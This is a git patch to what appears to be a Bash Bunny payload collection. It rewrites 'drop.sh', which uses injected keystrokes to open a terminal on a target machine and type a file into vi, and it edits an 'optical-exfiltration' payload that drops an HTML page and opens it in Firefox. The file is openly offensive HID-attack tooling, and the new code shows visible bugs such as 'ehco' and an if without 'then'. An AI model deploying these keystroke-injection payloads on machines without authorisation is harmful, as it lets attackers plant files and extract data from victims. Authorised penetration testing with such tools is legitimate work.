From 821105a6a3037d4e95e87ebdafb77f32a7d44714 Mon Sep 17 00:00:00 2001 From: bg-wa Date: Sat, 27 Jan 2018 00:05:57 -0800 Subject: [PATCH] Cleanup LINUX only... --- payloads/extensions/drop.sh | 76 +++++-------------- .../optical-exfiltration/payload.txt | 12 ++- 2 files changed, 23 insertions(+), 65 deletions(-) diff --git a/payloads/extensions/drop.sh b/payloads/extensions/drop.sh index b7a07345..d8341fea 100644 --- a/payloads/extensions/drop.sh +++ b/payloads/extensions/drop.sh @@ -1,70 +1,27 @@ #!/bin/bash # # DROP v1 by bg-wa -# Simplifies dropping files from HID attacks for various targets -# Usage: DROP [OS] [file to drop] +# Simplifies dropping files from HID attacks for LINUX +# Usage: DROP bb_source_file.txt attack_destination_file.txt [overwrite] # -# Format: -# DROP [WIN OSX LINUX] bb_source_file.txt attack_destination_file.txt [overwrite] # Example: -# DROP LINUX /root/udisk/payloads/$SWITCH_POSITION/source.txt ~/target_destination.txt true - +# DROP /root/udisk/payloads/$SWITCH_POSITION/source.txt ~/target_destination.txt true +source ./run.sh function DROP() { - local os=$1 local source=$2 local destination=$3 local overwrite=$4 - echo "start" >> "/root/udisk/debug/drop1.txt" - [[ -z "$os" || -z "$source" || -z "$destination"]] && exit 1 # OS Source and Destination parameters must be set + #local os= - case "$os" in - WIN) - QUACK GUI r - QUACK DELAY 500 - QUACK STRING "$@" - QUACK ENTER - ;; - OSX) - RUN terminal - QUACK STRING terminal - QUACK ENTER - QUACK DELAY 1000 - if $overwrite - QUACK STRING rm "$destination" - QUACK ENTER - QUACK DELAY 500 - fi - QUACK STRING vi "$destination" - QUACK ENTER - QUACK DELAY 500 - QUACK STRING i - LINUX) - echo "ok" >> "/root/udisk/debug/drop1.txt" - QUACK ALT F2 - QUACK DELAY 500 - QUACK STRING "$@" - QUACK DELAY 500 - QUACK ENTER - quack 500 - QUACK STRING terminal - QUACK ENTER - QUACK DELAY 1000 - if $overwrite - QUACK STRING rm "$destination" - QUACK ENTER - QUACK DELAY 500 - fi - QUACK STRING vi "$destination" - QUACK ENTER - QUACK DELAY 500 - QUACK STRING i - ;; - *) - # OS parameter must be one of the above - exit 1 - ;; - esac + ehco "start" >> "/root/udisk/payloads/${SWITCH_POSITION}/debug.txt" + RUN terminal + QUACK DELAY 1000 + QUACK STRING vi "$destination" + QUACK ENTER + QUACK DELAY 500 + QUACK STRING i + ;; while IFS= read data do @@ -77,9 +34,12 @@ function DROP() { done < "$source" QUACK ESC - QUACK STRING :x + if $overwrite + QUACK STRING :wq! + else + QUACK STRING :wq + fi QUACK ENTER - } export -f DROP diff --git a/payloads/library/exfiltration/optical-exfiltration/payload.txt b/payloads/library/exfiltration/optical-exfiltration/payload.txt index 7733ddbe..90f1b37a 100755 --- a/payloads/library/exfiltration/optical-exfiltration/payload.txt +++ b/payloads/library/exfiltration/optical-exfiltration/payload.txt @@ -22,16 +22,14 @@ ATTACKMODE HID LED SETUP -payload_dir=/root/udisk/payloads/$SWITCH_POSITION -source_html=$payload_dir/index.min.html -target_html=\~\/index.html - +source_html="/root/udisk/payloads/${SWITCH_POSITION}/index.min.html" +target_html="~/index.html" +#date_time= LED ATTACK -DROP LINUX $source_html $target_html +DROP $source_html $target_html +RUN LINUX "firefox ${target_html}" -Q STRING firefox "$target_html" Q ENTER - LED FINISH \ No newline at end of file